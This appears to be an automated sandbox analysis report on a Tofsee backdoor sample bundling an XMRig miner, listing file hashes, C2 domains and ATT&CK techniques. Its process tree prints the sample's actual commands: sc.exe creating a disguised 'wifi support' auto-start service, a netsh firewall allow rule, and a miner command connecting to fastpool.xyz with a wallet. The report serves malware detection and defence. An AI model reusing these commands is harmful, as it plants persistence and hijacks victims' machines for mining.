Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-05-2023 01:55

General

  • Target

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe

  • Size

    234KB

  • MD5

    f8df432779abcda0e118d44dc6dde5c7

  • SHA1

    2574314f96737d4a909246b06f6d0904b1b0e6f6

  • SHA256

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2

  • SHA512

    43974649ae90e164b8a17288c8c8b249dcdbac0a0c4fc9cdac70edbea455f880be7642e03c33e882e3a0bfaeccca46636398a604867451be52e059fc5fb1e75f

  • SSDEEP

    3072:5fPQrqA+LychM1+ziXtcsM/RHbyp+EpsVNg0cqF2Oq5pqIyYnAZ81MZ:mE1MOYcb/jxBUOqptZnAa1MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe
    "C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4112
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tpepoio\
      2⤵
        PID:5028
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lszcrfyi.exe" C:\Windows\SysWOW64\tpepoio\
        2⤵
          PID:3032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tpepoio binPath= "C:\Windows\SysWOW64\tpepoio\lszcrfyi.exe /d\"C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tpepoio "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:32
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tpepoio
          2⤵
          • Launches sc.exe
          PID:2228
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3384
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4112 -s 580
          2⤵
          • Program crash
          PID:4100
      • C:\Windows\SysWOW64\tpepoio\lszcrfyi.exe
        C:\Windows\SysWOW64\tpepoio\lszcrfyi.exe /d"C:\Users\Admin\AppData\Local\Temp\668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2036
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2668 -s 512
          2⤵
          • Program crash
          PID:4944
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4112 -ip 4112
        1⤵
          PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2668 -ip 2668
          1⤵
            PID:3536

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\lszcrfyi.exe
            Filesize

            10.3MB

            MD5

            7a84babef23f1075f1c6a69095d9616a

            SHA1

            ae28a082675f284b21bdc84358a8cbef415694a5

            SHA256

            ca37a2ae05329323900aadc7d7e355163fa699417e572c84b9b5684cd0b54797

            SHA512

            b6f4ef855596daf8aff3c48f91852d15c11ae657e8a40c0363c804af8497705552965ee9e12f700a35d69f093b3511aaa0a382e736a92a42e768cf8fd216fe59

          • C:\Windows\SysWOW64\tpepoio\lszcrfyi.exe
            Filesize

            10.3MB

            MD5

            7a84babef23f1075f1c6a69095d9616a

            SHA1

            ae28a082675f284b21bdc84358a8cbef415694a5

            SHA256

            ca37a2ae05329323900aadc7d7e355163fa699417e572c84b9b5684cd0b54797

            SHA512

            b6f4ef855596daf8aff3c48f91852d15c11ae657e8a40c0363c804af8497705552965ee9e12f700a35d69f093b3511aaa0a382e736a92a42e768cf8fd216fe59

          • memory/2036-167-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-148-0x0000000000A70000-0x0000000000A85000-memory.dmp
            Filesize

            84KB

          • memory/2036-170-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-143-0x0000000000A70000-0x0000000000A85000-memory.dmp
            Filesize

            84KB

          • memory/2036-184-0x0000000002BE0000-0x0000000002BE7000-memory.dmp
            Filesize

            28KB

          • memory/2036-145-0x0000000000A70000-0x0000000000A85000-memory.dmp
            Filesize

            84KB

          • memory/2036-146-0x0000000000A70000-0x0000000000A85000-memory.dmp
            Filesize

            84KB

          • memory/2036-168-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-149-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/2036-152-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/2036-153-0x0000000001DE0000-0x0000000001DE6000-memory.dmp
            Filesize

            24KB

          • memory/2036-156-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-183-0x0000000007600000-0x0000000007A0B000-memory.dmp
            Filesize

            4.0MB

          • memory/2036-160-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-161-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-162-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-163-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-165-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-164-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-166-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-159-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-180-0x0000000007600000-0x0000000007A0B000-memory.dmp
            Filesize

            4.0MB

          • memory/2036-140-0x0000000000A70000-0x0000000000A85000-memory.dmp
            Filesize

            84KB

          • memory/2036-169-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-172-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-171-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-173-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-174-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-175-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/2036-176-0x0000000002BD0000-0x0000000002BD5000-memory.dmp
            Filesize

            20KB

          • memory/2036-179-0x0000000002BD0000-0x0000000002BD5000-memory.dmp
            Filesize

            20KB

          • memory/2668-144-0x0000000000400000-0x00000000006B8000-memory.dmp
            Filesize

            2.7MB

          • memory/2748-188-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-193-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-194-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-195-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-196-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-197-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-198-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/2748-199-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/4112-138-0x0000000000400000-0x00000000006B8000-memory.dmp
            Filesize

            2.7MB

          • memory/4112-135-0x00000000007D0000-0x00000000007E3000-memory.dmp
            Filesize

            76KB